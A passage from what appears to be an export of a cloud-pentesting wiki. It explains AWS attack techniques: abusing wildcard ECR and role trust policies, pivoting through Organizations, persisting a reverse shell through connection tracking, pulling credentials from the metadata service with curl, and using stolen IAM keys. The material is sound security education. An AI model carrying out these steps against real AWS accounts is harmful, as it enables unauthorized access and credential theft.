"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/","title":"Abusing Misconfigured ECR Resource Policies","text":"

AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

Note

Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#understanding-ecrgetauthorizationtoken","title":"Understanding ecr:GetAuthorizationToken","text":"

A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

Note

When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#downloading-containers","title":"Downloading Containers","text":"

Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

As an example, take the following misconfigured resource policy for an ECR private repository.

{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AllowAll\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": [\n        \"ecr:BatchGetImage\",\n        \"ecr:GetDownloadUrlForLayer\"\n      ]\n    }\n  ]\n}\n

This policy would permit us the ability to download containers from the vulnerable repository to our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

Next, we will pull the container with the following command.

docker pull <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

We can now loot this container for source code or other valuable information.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#uploading-containers","title":"Uploading Containers","text":"

Required Permissions: ecr:GetLoginPassword, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:PutImage.

Info

As an anecdotal aside, the number of permissions required to perform a container upload may inadvertently increase the likelihood of a Principal being set to *. If you're a developer or ops person just trying to get something done, it may be enticing to set it to a wildcard and be done with it/forget about it.

As an example, take the following misconfigured resource policy for an ECR private repository.

{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"ExamplePolicy\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"ecr:*\"\n    }\n  ]\n}\n

This policy would permit us the ability to upload containers to the repository from our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

Next, we need to create/choose a container to upload. In a real world scenario you would likely want to create a container which runs your C2 of choice, or perhaps a simple script to retrieve IAM credentials. For this example, we will use an Ubuntu container.

docker tag ubuntu:latest <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

And finally we push the container into the repository.

docker push <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

Now we simply have to wait for a service (ECS, EKS, EC2, Lambda, etc.) to pull this malicious container and execute it, giving us access to that environment.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#identification","title":"Identification","text":"

To find exposed ECR private repositories you can use Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

./prowler -c ecr_repositories_not_publicly_accessible\n                         _\n _ __  _ __ _____      _| | ___ _ __\n| '_ \\| '__/ _ \\ \\ /\\ / / |/ _ \\ '__|\n| |_) | | | (_) \\ V  V /| |  __/ |\n| .__/|_|  \\___/ \\_/\\_/ |_|\\___|_|v3.0-beta-21Nov2022\n|_| the handy cloud security tool\n\nDate: 2022-11-26 19:12:03\n\nThis report is being generated using credentials below:\n\nAWS-CLI Profile: [default] AWS Filter Region: [all]\nAWS Account: [000000000000] UserId: [AROAQQPLEQBZZHQGGAQ55:Nick]\nCaller Identity ARN: [arn:aws:sts::000000000000:assumed-role/snip/Nick]\n\nExecuting 1 checks, please wait...\n\n-> Scan is completed! |\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589| 1/1 [100%] in 4.5s \n\nOverview Results:\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 100.0% (1) Failed \u2502 0.0% (0) Passed \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\nAccount 009619941490 Scan Results (severity columns are for fails only):\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Provider   \u2502 Service   \u2502 Status   \u2502   Critical \u2502   High \u2502   Medium \u2502   Low \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 aws        \u2502 ecr       \u2502 FAIL (1) \u2502          1 \u2502      0 \u2502        0 \u2502     0 \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n

Note

Condition elements may induce false positives.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/","title":"Abusing Misconfigured Role Trust Policies with a Wildcard Principal","text":"

As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#role-trust-policies","title":"Role Trust Policies","text":"

As stated in the AWS documentation, a role trust policy is, \"A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM\".

This policy typically looks like the following:

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

This policy would Allow anyone in the 111111111111 account the ability to perform the action sts:AssumeRole (assume the role), provided that they have the action in their IAM identity-based policy.

As mentioned in our documentation on Misconfigured Resource Based Policies, there are a variety of options that can be used for the Principal element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the \"wildcard\" Principal. This Principal encompasses ALL AWS principals.

Warning

A common misunderstanding is that the wildcard Principal is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard Principal applies to EVERY AWS account.

If a role trust policy is configured with a wildcard Principal element, such as the one shown below, anyone in the world can assume the role.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:

Warning

Do NOT use this trust policy.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\",\n            \"Condition\": {\n                \"ArnNotEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::555555555555:role/intent-allow-role\"\n                }\n            }\n        }\n    ]\n}\n

In this example, the intention was to create a policy that Denied all Principals except the intent-allow-role. However, while creating this policy, the Effect was mistakenly changed to an Allow, which had the opposite effect, now anyone except intent-allow-role can assume the role.

These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#how-to-exploit","title":"How to Exploit","text":"

In order to exploit a role that has a wildcard set as a Principal, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.

aws sts assume-role \\\n--role-arn arn:aws:iam::222222222222:role/victim-role \\\n--role-session-name blahsessionname\n

Tip

There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/","title":"AWS Organizations Defaults & Pivoting","text":"
  • Original Research

    Pivoting AWS Organizations 1 & Pivoting AWS Organizations 2 by Scott Weston

Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively \"owns\" the organization.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#creating-member-accounts-default-organizationaccountaccessrole","title":"Creating Member Accounts: Default OrganizationAccountAccessRole","text":"

When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::000000000000:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

These things combined mean that, should an attacker compromise the management account, the default behavior of AWS Organizations provides a path to compromise every account in the organization as an administrator, assuming that the member account was created through AWS organizations (as opposed to invited). For offensive security professionals, identifying paths into the management account can be an incredibly fruitful exercise, and may result in an entire organization compromise.

For defensive security teams, it would be a good idea to ensure no infrastructure is deployed into the management account to reduce attack surface. Additionally, carefully controlling who has access to it and monitoring that access would also help to reduce risk.

Scott Weston has added a module to Pacu to brute force this role name or a list of role names. So if a management account is compromised, and the user wants to attempt to assume one to many role names on all accounts, they can run the following Pacu Module

Pacu (role:ManagementAccount) > run organizations__assume_role\n[ Review the results to see if any of the following roles are assumed] \n
"},{"location":"aws/general-knowledge/aws_organizations_defaults/#inviting-pre-existing-member-accounts-trusted-access-delegated-administration","title":"Inviting Pre-Existing Member Accounts: Trusted Access & Delegated Administration","text":"

When a pre-existing AWS account is invited to join an organization, it does not auto-generate a default role with AdministratorAccess like the account creation workflow. As a pentester, one can look into trusted access and delegated administration to see if there are any more avenues to pivot such that you can move from the compromised management account/delegated admin to another member account in the organization. Depending on the features available, this might allow for indirect access to other member accounts (ex. IAM Access Analyzer), or direct access with some setup (IAM Identity Center).

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#organization-integrated-features","title":"Organization-Integrated Features","text":"

Many AWS services include specific features that have the capability to scope to the entire organization. For example, IAM Access Analyzer is a feature within the overall IAM service. Normally a user would just run Access Analyzer on their own AWS account to find roles with trust policies that reference outside AWS account sources. Because IAM Access Analyzer is an organization-integrated feature, if the target AWS account is part of an organization, a user can choose to scope Access Analyzer from their single account to the organization meaning Access Analyzer will check all AWS account roles in the organization and consider \"untrusted\" sources as any resource outside of the organization (as opposed to the single AWS account). IAM Access Analyzer is just one example, but there are a multitude of features that can do a similar scope increase to the organization that all behave differently. This might sound complicated, but from a UI perspective, this basically just means there is another option in the dropdown or radio buttons when kicking off the service that lets you choose \"organization\" instead of the specifc account you are in. A list of all these can be found here

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#helpful-diagram","title":"Helpful Diagram","text":"

Trusted Access & Delegated Administration

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#trusted-access","title":"Trusted Access","text":"

These organization integrated features are in an \"off\" state by default. Trusted access is the act of the management account turning \"on\" the organization integrated features. For example, even if a member account is part of an organization, they will not be able to increase the scope of IAM Access Analyzer to the organization until the management account enables trusted access for IAM Access Analyzer for the organization. On a technical level, the act of turning \"on\" an organization-integrated feature via trusted access allows the feature to make roles in member accounts to carry out its tasks. There is an AWS CLI command the management account can run to enable one of these organization-integrated features and list those that are present as seen below:

Note

Trusted access is enabled via the management account and allows IAM Access Analyzer to reach into all member accounts to achieve its objective.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#delegated-administration","title":"Delegated Administration","text":"

Delegated Administration is pretty much like trusted access, but is from the perspective of a member account. In delegated administration, the user allows one of the member accounts to execute an organization-integrated feature on the AWS organization, essentially \"delegating\" the \"administration\" of that feature to that member account. We would say that a member account is \"a delegated administrator for service ABC (ex. IAM Access Analyzer).\" The CLI command to see all delegated administrators in an organization is shown below. If you are a member account, and call this API, and your AWS account is listed in the output, than that is a good way to confirm you are in a delegated admin account. Note again that a delegated admin is for a specific service so rather than searching through every single feature to see what you are a delegated admin for, you can call the API shown below to see what specific feature you are a delegated admin for.

Besides the ability to run specific organization-integrated features, note that the member account also in general gains access to numerous read-only APIs. For example, note how this CLI command states that a \"delegated administrator\" can run it. While a default member account can only see itself and the management account in an organization, a delegated administrator can potentially see all AWS accounts in the organization.

As of late 2022, delegated administrators also potentially have the ability to manipulate SCPs (which are basically IAM policy filters at the organization level). See the attached blog article for a review of this avenue.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-access-analyzer-indirect-route","title":"IAM Access Analyzer (Indirect Route):","text":"

IAM Access Analyzer allows one to scan all roles in the organization. If an attacker compromises the managament account where trusted access is enabled for IAM Access Analyzer (or the attacker enables it depending on permissions), the attacker could run IAM Access Analyzer on the entire organization and review the results to see if there are any misconfigured roles they can pivot to. Note the attacker NEVER directly got access to the member accounts and was constrained to the management account. Rather the attacker just ran the organization-integrated feature which accesses the member accounts giving the attacker indirect access to the organization. See the blog post in references for images/walkthrough.

Now imagine an attacker compromises a member account. If the member account is a delegated administrator for IAM Access Analyzer, the attacker can perform a similar action of launching the feature and reviewing the results without ever directly accessing the member accounts. In addition, if a delegated administrator is compromised, the attacker can also see much more of the organization and what the structure looks like due to their read-only rights. See the blog post in references for images/walkthrough.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-identity-center-direct-route","title":"IAM Identity Center (Direct Route)","text":"

IAM Identity center supports trusted access, and allows one to create a user entity, a permission set, and attach the user and permission set to an account in the organization. So, if an attacker compromises a management account, the attacker could enable trusted access for IAM Identity Center (assuming it is not already enabled). Then the attacker (if they have the necessary permissions), can create a user entity with a username/password and the attacker email, and create a permission set entity that is the equivalent of AdministratorAccess. The attacker can then attach the user and permissions to a member account in the organization through IAM Identity Center in the management account, and navigate to the IAM Identity Center login link. The attacker then can enter the users username/password and get access to the member account directly as Administrator Access. See the references section for the blog post with images/walkthrough/etc.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#automated-tools","title":"Automated Tools","text":"

To enumerate an organization for all the info discussed above, you can use the Pacu module shown below:

# Run Module\nPacu (Session: Keys) > run organizations__enum\n\n# See Data Collected/Enumerated\nPacu (Session: Keys) > data organizations\n

Relevant pull requests can be found here and here.

"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/","title":"Prevent Expensive AWS API Actions with SCPs","text":"
  • Original Research

    List of expensive / long-term effect AWS IAM actions by Ian McKay

  • Additional Resources

    • Service Control Policies (SCPs)
    • Attaching and detaching service control policies

An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#understanding-service-control-policies","title":"Understanding Service Control Policies","text":"

To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

Warning

While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#safeguard-scp","title":"Safeguard SCP","text":"
{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Statement1\",\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"route53domains:RegisterDomain\",\n        \"route53domains:RenewDomain\",\n        \"route53domains:TransferDomain\",\n        \"ec2:ModifyReservedInstances\",\n        \"ec2:PurchaseHostReservation\",\n        \"ec2:PurchaseReservedInstancesOffering\",\n        \"ec2:PurchaseScheduledInstances\",\n        \"rds:PurchaseReservedDBInstancesOffering\",\n        \"dynamodb:PurchaseReservedCapacityOfferings\",\n        \"s3:PutObjectRetention\",\n        \"s3:PutObjectLegalHold\",\n        \"s3:BypassGovernanceRetention\",\n        \"s3:PutBucketObjectLockConfiguration\",\n        \"elasticache:PurchaseReservedCacheNodesOffering\",\n        \"redshift:PurchaseReservedNodeOffering\",\n        \"savingsplans:CreateSavingsPlan\",\n        \"aws-marketplace:AcceptAgreementApprovalRequest\",\n        \"aws-marketplace:Subscribe\",\n        \"shield:CreateSubscription\",\n        \"acm-pca:CreateCertificateAuthority\",\n        \"es:PurchaseReservedElasticsearchInstanceOffering\",\n        \"outposts:CreateOutpost\",\n        \"snowball:CreateCluster\",\n        \"s3-object-lambda:PutObjectLegalHold\",\n        \"s3-object-lambda:PutObjectRetention\",\n        \"glacier:InitiateVaultLock\",\n        \"glacier:CompleteVaultLock\",\n        \"es:PurchaseReservedInstanceOffering\",\n        \"backup:PutBackupVaultLockConfiguration\",\n        \"bedrock:CreateProvisionedModelThroughput\",\n        \"bedrock:UpdateProvisionedModelThroughput\"\n      ],\n      \"Resource\": [\n        \"*\"\n      ]\n    }\n  ]\n}\n
"},{"location":"aws/general-knowledge/connection-tracking/","title":"Connection Tracking","text":"
  • Original Research

    Abusing AWS Connection Tracking by Nick Frichette

Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, \"if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic\".

An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

As part of the \"Isolate\" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

"},{"location":"aws/general-knowledge/iam-key-identifiers/","title":"IAM ID Identifiers","text":"
  • Additional Resources

    Reference: AWS Documentation: Unique Identifiers

In AWS, different resources are assigned a \"unique identifier\". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

The full list of prefixes can be found below.

Prefix Entity Type ABIA AWS STS service bearer token ACCA Context-specific credential AGPA Group AIDA IAM user AIPA Amazon EC2 instance profile AKIA Access key ANPA Managed policy ANVA Version in a managed policy APKA Public key AROA Role ASCA Certificate ASIA Temporary (AWS STS) keys

From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

"},{"location":"aws/general-knowledge/iam-key-identifiers/#akia","title":"AKIA","text":"

IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

"},{"location":"aws/general-knowledge/iam-key-identifiers/#asia","title":"ASIA","text":"

IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

"},{"location":"aws/general-knowledge/intro_metadata_service/","title":"Introduction to the Instance Metadata Service","text":"

Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

"},{"location":"aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service","title":"How to Access the Metadata Service","text":"

The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

"},{"location":"aws/general-knowledge/intro_metadata_service/#imdsv2","title":"IMDSv2","text":"

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/meta-data/\n
"},{"location":"aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2","title":"The Security Benefits of IMDSv2","text":"

IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:

Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.

Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.

Note

While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the \"hop limit.\"

"},{"location":"aws/general-knowledge/intro_metadata_service/#what-info-the-metadata-service-contains","title":"What Info the Metadata Service Contains","text":"

The following information was pulled from here.

Endpoint Description ami-id The AMI ID used to launch the instance. ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0. ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown. hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present. iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present. identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance. instance-id The ID of this instance. local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true. public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address. public-keys/0/openssh-key Public key. Only available if supplied at instance launch time. security-groups The names of the security groups applied to the instance."},{"location":"aws/general-knowledge/introduction_user_data/","title":"Introduction to User Data","text":"

Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

Warning

Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, \"Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.\"

"},{"location":"aws/general-knowledge/introduction_user_data/#how-to-access-ec2-user-data","title":"How to Access EC2 User Data","text":"

User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

"},{"location":"aws/general-knowledge/introduction_user_data/#imdsv2","title":"IMDSv2","text":"

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n
"},{"location":"aws/general-knowledge/introduction_user_data/#api","title":"API","text":"

Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.

user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData\n
"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/","title":"Using Stolen IAM Credentials","text":"

As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#iam-credential-characteristics","title":"IAM Credential Characteristics","text":"

In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

